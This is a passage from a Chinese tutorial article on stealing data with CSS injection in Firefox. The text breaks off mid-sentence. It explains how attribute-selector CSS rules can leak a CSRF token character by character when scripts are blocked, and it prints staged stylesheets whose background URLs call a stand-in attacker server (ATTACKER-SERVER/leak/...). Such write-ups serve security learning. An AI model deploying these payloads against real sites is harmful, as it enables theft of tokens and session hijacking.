一聚教程网:一个值得你收藏的教程网站

最新下载

热门教程

在Firefox浏览器中如何利用CSS窃取数据 在Firefox浏览器中利用CSS窃取数据实例

时间:2020-02-18 编辑:袖梨 来源:一聚教程网

本篇文章小编给大家分享一下在Firefox浏览器中利用CSS窃取数据实例,小编觉得挺不错的,现在分享给大家供大家参考,有需要的小伙伴们可以来看看。

为了演示方便,这里假设我们想窃取元素中的CSRF令牌。

css;">

我们无法使用脚本(可能是因为CSP),因此想寻找基于样式的注入方法。传统方法是使用属性选择器,如下所示:

input[name='csrftoken'][value^='a'] {
  background: url(//ATTACKER-SERVER/leak/a);
}
input[name='csrftoken'][value^='b'] {
  background: url(//ATTACKER-SERVER/leak/b);
}
...
input[name='csrftoken'][value^='z'] {
  background: url(//ATTACKER-SERVER/leak/z);
}

如果应用了CSS规则,那么攻击者就能收到HTTP请求,从而获取到令牌的第1个字符。随后,攻击者需要准备另一个样式表,其中包含已窃取的第1个字符,如下所示:

input[name='csrftoken'][value^='aa'] {
  background: url(//ATTACKER-SERVER/leak/aa);
}
input[name='csrftoken'][value^='ab'] {
  background: url(//ATTACKER-SERVER/leak/ab);
}
...
input[name='csrftoken'][value^='az'] {
  background: url(//ATTACKER-SERVER/leak/az);
}

通常情况下,攻击者需要重新加载